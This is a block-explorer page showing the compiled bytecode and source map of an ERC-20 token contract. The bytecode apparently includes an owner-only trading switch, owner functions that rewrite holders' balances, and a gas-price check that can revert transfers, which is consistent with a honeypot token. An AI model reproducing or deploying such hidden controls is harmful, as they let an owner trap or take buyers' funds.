90a3505050565b6000546001600160a01b031633146109e45760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016108d3565b565b6001600160a01b038316610a4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108d3565b6001600160a01b038216610aac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108d3565b80610acc846001600160a01b031660009081526002602052604090205490565b1015610b295760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016108d3565b6001600160a01b03831660009081526003602052604081205460ff16158015610b6b57506001600160a01b03831660009081526003602052604090205460ff16155b15610c1a5760065460ff16610bc25760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016108d3565b606460045483610bd291906110dd565b610bdc9190611143565b600b549091506001600160a01b0384811691161415610c1a57606460055483610c0591906110dd565b610c0f9190611143565b9050610c1a84610d9b565b8015610c835730600090815260026020526040902054610c3b908290611181565b30600081815260026020526040908190209290925590516001600160a01b038616906000805160206111b183398151915290610c7a9085815260200190565b60405180910390a35b81610ca3856001600160a01b031660009081526002602052604090205490565b610cad9190611199565b6001600160a01b038516600090815260026020526040902055610cd08183611199565b6001600160a01b038416600090815260026020526040902054610cf39190611181565b6001600160a01b0380851660008181526002602052604090209290925585166000805160206111b1833981519152610d2b8486611199565b60405190815260200160405180910390a350505050565b600081831015610d5457610d54611157565b61086e8284611199565b600080546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610d97573d6000803e3d6000fd5b5050565b6001600160a01b038116600090815260026020526040902054156106815760065460ff16610dce57610681600d54610dd5565b610681600e545b803a111561068157600080fd5b600060208083528351808285015260005b81811015610e0f57858101830151858201604001528201610df3565b81811115610e21576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610e4e57600080fd5b919050565b60008060408385031215610e6657600080fd5b610e6f83610e37565b946020939093013593505050565b600080600060608486031215610e9257600080fd5b610e9b84610e37565b9250610ea960208501610e37565b9150604084013590509250925092565b600060208284031215610ecb57600080fd5b61086e82610e37565b60008083601f840112610ee657600080fd5b50813567ffffffffffffffff811115610efe57600080fd5b6020830191508360208260051b8501011115610f1957600080fd5b9250929050565b600080600080600060608688031215610f3857600080fd5b610f4186610e37565b9450602086013567ffffffffffffffff80821115610f5e57600080fd5b610f6a89838a01610ed4565b90965094506040880135915080821115610f8357600080fd5b50610f9088828901610ed4565b969995985093965092949392505050565b60008060408385031215610fb457600080fd5b610fbd83610e37565b9150610fcb60208401610e37565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561102557816000190482111561100b5761100b610fd4565b8085161561101857918102915b93841c9390800290610fef565b509250929050565b60008261103c575060016103cb565b81611049575060006103cb565b816001811461105f576002811461106957611085565b60019150506103cb565b60ff84111561107a5761107a610fd4565b50506001821b6103cb565b5060208310610133831016604e8410600b84101617156110a8575081810a6103cb565b6110b28383610fea565b80600019048211156110c6576110c6610fd4565b029392505050565b600061086e60ff84168361102d565b60008160001904831182151516156110f7576110f7610fd4565b500290565b634e487b7160e01b600052603260045260246000fd5b600060001982141561112657611126610fd4565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826111525761115261112d565b500490565b634e487b7160e01b600052600160045260246000fd5b60008261117c5761117c61112d565b500690565b6000821982111561119457611194610fd4565b500190565b6000828210156111ab576111ab610fd4565b50039056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207dc87b1c25f4121abe5c6b71ccb92d11322091ffa3f12872376edd1db85abb1964736f6c63430008090033

Deployed Bytecode Sourcemap

3946:7517:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6546:83;;;;;;;;;;-1:-1:-1;6616:5:0;;;;;;;;;;;;-1:-1:-1;;;6616:5:0;;;;6546:83;;;;;;;:::i;:::-;;;;;;;;9085:193;;;;;;;;;;-1:-1:-1;9085:193:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;9085:193:0;1053:187:1;4981:41:0;;;;;;;;;;-1:-1:-1;4981:41:0;;;;-1:-1:-1;;;;;4981:41:0;;;;;;-1:-1:-1;;;;;1435:32:1;;;1417:51;;1405:2;1390:18;4981:41:0;1245:229:1;6921:108:0;;;;;;;;;;;;;:::i;:::-;;;1625:25:1;;;1613:2;1598:18;6921:108:0;1479:177:1;11342:81:0;;;;;;;;;;;;;:::i;:::-;;7671:353;;;;;;;;;;-1:-1:-1;7671:353:0;;;;;:::i;:::-;;:::i;6732:83::-;;;;;;;;;;-1:-1:-1;6732:83:0;;4236:2;2136:36:1;;2124:2;2109:18;6732:83:0;1994:184:1;6823:90:0;;;;;;;;;;-1:-1:-1;6894:11:0;;;;6823:90;;7037:177;;;;;;;;;;-1:-1:-1;7037:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;7188:18:0;7156:7;7188:18;;;:9;:18;;;;;;;7037:177;3020:87;;;;;;;;;;-1:-1:-1;3066:7:0;3093:6;-1:-1:-1;;;;;3093:6:0;3020:87;;6637;;;;;;;;;;-1:-1:-1;6709:7:0;;;;;;;;;;;;-1:-1:-1;;;6709:7:0;;;;6637:87;;10897:437;;;;;;;;;;-1:-1:-1;10897:437:0;;;;;:::i;:::-;;:::i;7431:232::-;;;;;;;;;;-1:-1:-1;7431:232:0;;;;;:::i;:::-;;:::i;4468:29::-;;;;;;;;;;;;;;;;10251:185;;;;;;;;;;;;;:::i;4433:28::-;;;;;;;;;;;;;;;;7222:201;;;;;;;;;;-1:-1:-1;7222:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;7388:18:0;;;7356:7;7388:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7222:201;10444:445;;;;;;;;;;-1:-1:-1;10444:445:0;;;;;:::i;:::-;;:::i;9085:193::-;9187:4;9209:39;2785:10;9232:7;9241:6;9209:8;:39::i;:::-;-1:-1:-1;9266:4:0;9085:193;;;;;:::o;6921:108::-;6982:7;4301:13;4236:2;4301;:13;:::i;:::-;4285:29;;:13;:29;:::i;:::-;7002:19;;6921:108;:::o;11342:81::-;2979:13;:11;:13::i;:::-;11404:11:::1;::::0;;-1:-1:-1;;11389:26:0;::::1;11404:11;::::0;;::::1;11403:12;11389:26;::::0;;11342:81::o;7671:353::-;7803:4;7820:36;7830:6;7838:9;7849:6;7820:9;:36::i;:::-;-1:-1:-1;;;;;7938:19:0;;;;;;:11;:19;;;;;;;;2785:10;7938:33;;;;;;;;;7867:127;;7890:6;;7938:45;;7976:6;7938:37;:45::i;:::-;7867:8;:127::i;:::-;-1:-1:-1;8012:4:0;7671:353;;;;;:::o;10897:437::-;3066:7;3093:6;-1:-1:-1;;;;;3093:6:0;2785:10;11004:23;10996:32;;;;;;11044:9;11039:288;11059:13;;;11039:288;;;11112:48;11144:15;4236:2;11144;:15;:::i;:::-;11132:6;;11139:1;11132:9;;;;;;;:::i;:::-;;;;;;;:27;;;;:::i;:::-;-1:-1:-1;;;;;11112:15:0;;;;;;:9;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;11094:15:0;;;;;;:9;:15;;;;;:66;11194:50;11228:15;4236:2;11228;:15;:::i;:::-;11215:6;;11222:1;11215:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;11194:9;:16;11204:2;;11207:1;11204:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11194:16:0;;;;;;;;;;;;-1:-1:-1;11194:16:0;;;:20;:50::i;:::-;11175:9;:16;11185:2;;11188:1;11185:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11175:16:0;;;;;;;;;;;;-1:-1:-1;11175:16:0;:69;11279:2;;11282:1;11279:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11264:51:0;11273:4;-1:-1:-1;;;;;11264:51:0;-1:-1:-1;;;;;;;;;;;4236:2:0;11299;:15;;;;:::i;:::-;11286:6;;11293:1;11286:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;11264:51;;1625:25:1;;;1613:2;1598:18;11264:51:0;;;;;;;11074:3;;;;:::i;:::-;;;;11039:288;;;;10897:437;;;;;:::o;7431:232::-;7545:4;2785:10;7606:27;2785:10;7623:2;7627:5;7606:9;:27::i;10251:185::-;3066:7;3093:6;-1:-1:-1;;;;;3093:6:0;2785:10;10300:23;10292:32;;;;;;10364:21;10396:32;10364:21;10396:12;:32::i;:::-;10281:155;10251:185::o;10444:445::-;3066:7;3093:6;-1:-1:-1;;;;;3093:6:0;2785:10;10559:23;10551:32;;;;;;10599:9;10594:288;10614:13;;;10594:288;;;10667:48;10699:15;4236:2;10699;:15;:::i;10667:48::-;-1:-1:-1;;;;;10649:15:0;;;;;;:9;:15;;;;;:66;10749:50;10783:15;4236:2;10783;:15;:::i;10749:50::-;10730:9;:16;10740:2;;10743:1;10740:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10730:16:0;;;;;;;;;;;;-1:-1:-1;10730:16:0;:69;10834:2;;10837:1;10834:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10819:51:0;10828:4;-1:-1:-1;;;;;10819:51:0;-1:-1:-1;;;;;;;;;;;4236:2:0;10854;:15;;;;:::i;:::-;10841:6;;10848:1;10841:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;10819:51;;1625:25:1;;;1613:2;1598:18;10819:51:0;;;;;;;10629:3;;;;:::i;:::-;;;;10594:288;;3254:202;3312:9;3338:6;3334:47;;-1:-1:-1;3368:1:0;3361:8;;3334:47;3395:5;3399:1;3395;:5;:::i;:::-;3391:9;-1:-1:-1;3427:1:0;3418:5;3422:1;3391:9;3418:5;:::i;:::-;:10;3411:18;;;;:::i;3464:189::-;3522:7;3553:1;3549;:5;3542:13;;;;:::i;:::-;3566:9;3578:5;3582:1;3578;:5;:::i;:::-;3566:17;-1:-1:-1;3615:5:0;3619:1;3615;:5;:::i;:::-;3606;3610:1;3606;:5;:::i;:::-;:15;;;;:::i;:::-;3601:1;:20;3594:28;;;;:::i;:::-;3640:5;3644:1;3640;:5;:::i;:::-;3633:12;3464:189;-1:-1:-1;;;;3464:189:0:o;3792:147::-;3850:7;;3882:5;3886:1;3882;:5;:::i;:::-;3870:17;;3910:1;3905;:6;;3898:14;;;;:::i;:::-;3930:1;3792:147;-1:-1:-1;;;3792:147:0:o;9286:369::-;-1:-1:-1;;;;;9413:19:0;;9405:68;;;;-1:-1:-1;;;9405:68:0;;6872:2:1;9405:68:0;;;6854:21:1;6911:2;6891:18;;;6884:30;6950:34;6930:18;;;6923:62;-1:-1:-1;;;7001:18:1;;;6994:34;7045:19;;9405:68:0;;;;;;;;;-1:-1:-1;;;;;9492:21:0;;9484:68;;;;-1:-1:-1;;;9484:68:0;;7277:2:1;9484:68:0;;;7259:21:1;7316:2;7296:18;;;7289:30;7355:34;7335:18;;;7328:62;-1:-1:-1;;;7406:18:1;;;7399:32;7448:19;;9484:68:0;7075:398:1;9484:68:0;-1:-1:-1;;;;;9563:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9615:32;;1625:25:1;;;9615:32:0;;1598:18:1;9615:32:0;;;;;;;9286:369;;;:::o;3115:108::-;3179:6;;-1:-1:-1;;;;;3179:6:0;2785:10;3179:22;3171:44;;;;-1:-1:-1;;;3171:44:0;;7680:2:1;3171:44:0;;;7662:21:1;7719:1;7699:18;;;7692:29;-1:-1:-1;;;7737:18:1;;;7730:39;7786:18;;3171:44:0;7478:332:1;3171:44:0;3115:108::o;8032:1045::-;-1:-1:-1;;;;;8121:18:0;;8113:68;;;;-1:-1:-1;;;8113:68:0;;8017:2:1;8113:68:0;;;7999:21:1;8056:2;8036:18;;;8029:30;8095:34;8075:18;;;8068:62;-1:-1:-1;;;8146:18:1;;;8139:35;8191:19;;8113:68:0;7815:401:1;8113:68:0;-1:-1:-1;;;;;8200:16:0;;8192:64;;;;-1:-1:-1;;;8192:64:0;;8423:2:1;8192:64:0;;;8405:21:1;8462:2;8442:18;;;8435:30;8501:34;8481:18;;;8474:62;-1:-1:-1;;;8552:18:1;;;8545:33;8595:19;;8192:64:0;8221:399:1;8192:64:0;8294:6;8275:15;8285:4;-1:-1:-1;;;;;7188:18:0;7156:7;7188:18;;;:9;:18;;;;;;;7037:177;8275:15;:25;;8267:76;;;;-1:-1:-1;;;8267:76:0;;8827:2:1;8267:76:0;;;8809:21:1;8866:2;8846:18;;;8839:30;8905:34;8885:18;;;8878:62;-1:-1:-1;;;8956:18:1;;;8949:36;9002:19;;8267:76:0;8625:402:1;8267:76:0;-1:-1:-1;;;;;8392:22:0;;8354:17;8392:22;;;:16;:22;;;;;;;;8391:23;:48;;;;-1:-1:-1;;;;;;8419:20:0;;;;;;:16;:20;;;;;;;;8418:21;8391:48;8388:336;;;8464:11;;;;8456:53;;;;-1:-1:-1;;;8456:53:0;;9234:2:1;8456:53:0;;;9216:21:1;9273:2;9253:18;;;9246:30;9312:31;9292:18;;;9285:59;9361:18;;8456:53:0;9032:353:1;8456:53:0;8557:3;8545:9;;8536:6;:18;;;;:::i;:::-;:24;;;;:::i;:::-;8584:13;;8524:36;;-1:-1:-1;;;;;;8578:19:0;;;8584:13;;8578:19;8575:138;;;8652:3;8639:10;;8630:6;:19;;;;:::i;:::-;:25;;;;:::i;:::-;8618:37;;8674:23;8692:4;8674:17;:23::i;:::-;8739:13;;8736:164;;8812:4;8794:24;;;;:9;:24;;;;;;:34;;8819:9;;8794:34;:::i;:::-;8787:4;8769:24;;;;:9;:24;;;;;;;:59;;;;8848:40;;-1:-1:-1;;;;;8848:40:0;;;-1:-1:-1;;;;;;;;;;;8848:40:0;;;8878:9;1625:25:1;;1613:2;1598:18;;1479:177;8848:40:0;;;;;;;;8736:164;8947:6;8929:15;8939:4;-1:-1:-1;;;;;7188:18:0;7156:7;7188:18;;;:9;:18;;;;;;;7037:177;8929:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;8912:15:0;;;;;;:9;:15;;;;;:41;8996:18;9005:9;8996:6;:18;:::i;:::-;-1:-1:-1;;;;;8979:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;8965:13:0;;;;;;;:9;:13;;;;;:50;;;;9031:38;;-1:-1:-1;;;;;;;;;;;9050:18:0;9059:9;9050:6;:18;:::i;:::-;9031:38;;1625:25:1;;;1613:2;1598:18;9031:38:0;;;;;;;8102:975;8032:1045;;;:::o;3661:123::-;3719:7;3751:1;3746;:6;;3739:14;;;;:::i;:::-;3771:5;3775:1;3771;:5;:::i;10141:98::-;3066:7;3093:6;;10198:33;;-1:-1:-1;;;;;3093:6:0;;;;10198:33;;;;;10224:6;;10198:33;3066:7;10198:33;10224:6;3093;10198:33;;;;;;;;;;;;;;;;;;;;;10141:98;:::o;9877:256::-;-1:-1:-1;;;;;7188:18:0;;9960:1;7188:18;;;:9;:18;;;;;;9944:17;9941:184;;9983:11;;;;9978:136;;10015:21;10026:9;;10015:10;:21::i;9978:136::-;10077:21;10088:9;;9744:125;9821:4;9807:11;:18;9803:59;;;9842:8;;;14:597:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1661:328::-;1738:6;1746;1754;1807:2;1795:9;1786:7;1782:23;1778:32;1775:52;;;1823:1;1820;1813:12;1775:52;1846:29;1865:9;1846:29;:::i;:::-;1836:39;;1894:38;1928:2;1917:9;1913:18;1894:38;:::i;:::-;1884:48;;1979:2;1968:9;1964:18;1951:32;1941:42;;1661:328;;;;;:::o;2183:186::-;2242:6;2295:2;2283:9;2274:7;2270:23;2266:32;2263:52;;;2311:1;2308;2301:12;2263:52;2334:29;2353:9;2334:29;:::i;2582:367::-;2645:8;2655:6;2709:3;2702:4;2694:6;2690:17;2686:27;2676:55;;2727:1;2724;2717:12;2676:55;-1:-1:-1;2750:20:1;;2793:18;2782:30;;2779:50;;;2825:1;2822;2815:12;2779:50;2862:4;2854:6;2850:17;2838:29;;2922:3;2915:4;2905:6;2902:1;2898:14;2890:6;2886:27;2882:38;2879:47;2876:67;;;2939:1;2936;2929:12;2876:67;2582:367;;;;;:::o;2954:847::-;3085:6;3093;3101;3109;3117;3170:2;3158:9;3149:7;3145:23;3141:32;3138:52;;;3186:1;3183;3176:12;3138:52;3209:29;3228:9;3209:29;:::i;:::-;3199:39;;3289:2;3278:9;3274:18;3261:32;3312:18;3353:2;3345:6;3342:14;3339:34;;;3369:1;3366;3359:12;3339:34;3408:70;3470:7;3461:6;3450:9;3446:22;3408:70;:::i;:::-;3497:8;;-1:-1:-1;3382:96:1;-1:-1:-1;3585:2:1;3570:18;;3557:32;;-1:-1:-1;3601:16:1;;;3598:36;;;3630:1;3627;3620:12;3598:36;;3669:72;3733:7;3722:8;3711:9;3707:24;3669:72;:::i;:::-;2954:847;;;;-1:-1:-1;2954:847:1;;-1:-1:-1;3760:8:1;;3643:98;2954:847;-1:-1:-1;;;2954:847:1:o;3806:260::-;3874:6;3882;3935:2;3923:9;3914:7;3910:23;3906:32;3903:52;;;3951:1;3948;3941:12;3903:52;3974:29;3993:9;3974:29;:::i;:::-;3964:39;;4022:38;4056:2;4045:9;4041:18;4022:38;:::i;:::-;4012:48;;3806:260;;;;;:::o;4071:127::-;4132:10;4127:3;4123:20;4120:1;4113:31;4163:4;4160:1;4153:15;4187:4;4184:1;4177:15;4203:422;4292:1;4335:5;4292:1;4349:270;4370:7;4360:8;4357:21;4349:270;;;4429:4;4425:1;4421:6;4417:17;4411:4;4408:27;4405:53;;;4438:18;;:::i;:::-;4488:7;4478:8;4474:22;4471:55;;;4508:16;;;;4471:55;4587:22;;;;4547:15;;;;4349:270;;;4353:3;4203:422;;;;;:::o;4630:806::-;4679:5;4709:8;4699:80;;-1:-1:-1;4750:1:1;4764:5;;4699:80;4798:4;4788:76;;-1:-1:-1;4835:1:1;4849:5;;4788:76;4880:4;4898:1;4893:59;;;;4966:1;4961:130;;;;4873:218;;4893:59;4923:1;4914:10;;4937:5;;;4961:130;4998:3;4988:8;4985:17;4982:43;;;5005:18;;:::i;:::-;-1:-1:-1;;5061:1:1;5047:16;;5076:5;;4873:218;;5175:2;5165:8;5162:16;5156:3;5150:4;5147:13;5143:36;5137:2;5127:8;5124:16;5119:2;5113:4;5110:12;5106:35;5103:77;5100:159;;;-1:-1:-1;5212:19:1;;;5244:5;;5100:159;5291:34;5316:8;5310:4;5291:34;:::i;:::-;5361:6;5357:1;5353:6;5349:19;5340:7;5337:32;5334:58;;;5372:18;;:::i;:::-;5410:20;;4630:806;-1:-1:-1;;;4630:806:1:o;5441:140::-;5499:5;5528:47;5569:4;5559:8;5555:19;5549:4;5528:47;:::i;5586:168::-;5626:7;5692:1;5688;5684:6;5680:14;5677:1;5674:21;5669:1;5662:9;5655:17;5651:45;5648:71;;;5699:18;;:::i;:::-;-1:-1:-1;5739:9:1;;5586:168::o;5759:127::-;5820:10;5815:3;5811:20;5808:1;5801:31;5851:4;5848:1;5841:15;5875:4;5872:1;5865:15;5891:135;5930:3;-1:-1:-1;;5951:17:1;;5948:43;;;5971:18;;:::i;:::-;-1:-1:-1;6018:1:1;6007:13;;5891:135::o;6031:127::-;6092:10;6087:3;6083:20;6080:1;6073:31;6123:4;6120:1;6113:15;6147:4;6144:1;6137:15;6163:120;6203:1;6229;6219:35;;6234:18;;:::i;:::-;-1:-1:-1;6268:9:1;;6163:120::o;6288:127::-;6349:10;6344:3;6340:20;6337:1;6330:31;6380:4;6377:1;6370:15;6404:4;6401:1;6394:15;6420:112;6452:1;6478;6468:35;;6483:18;;:::i;:::-;-1:-1:-1;6517:9:1;;6420:112::o;6537:128::-;6577:3;6608:1;6604:6;6601:1;6598:13;6595:39;;;6614:18;;:::i;:::-;-1:-1:-1;6650:9:1;;6537:128::o;9390:125::-;9430:4;9458:1;9455;9452:8;9449:34;;;9463:18;;:::i;:::-;-1:-1:-1;9500:9:1;;9390:125::o

Swarm Source

ipfs://7dc87b1c25f4121abe5c6b71ccb92d11322091ffa3f12872376edd1db85abb19
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.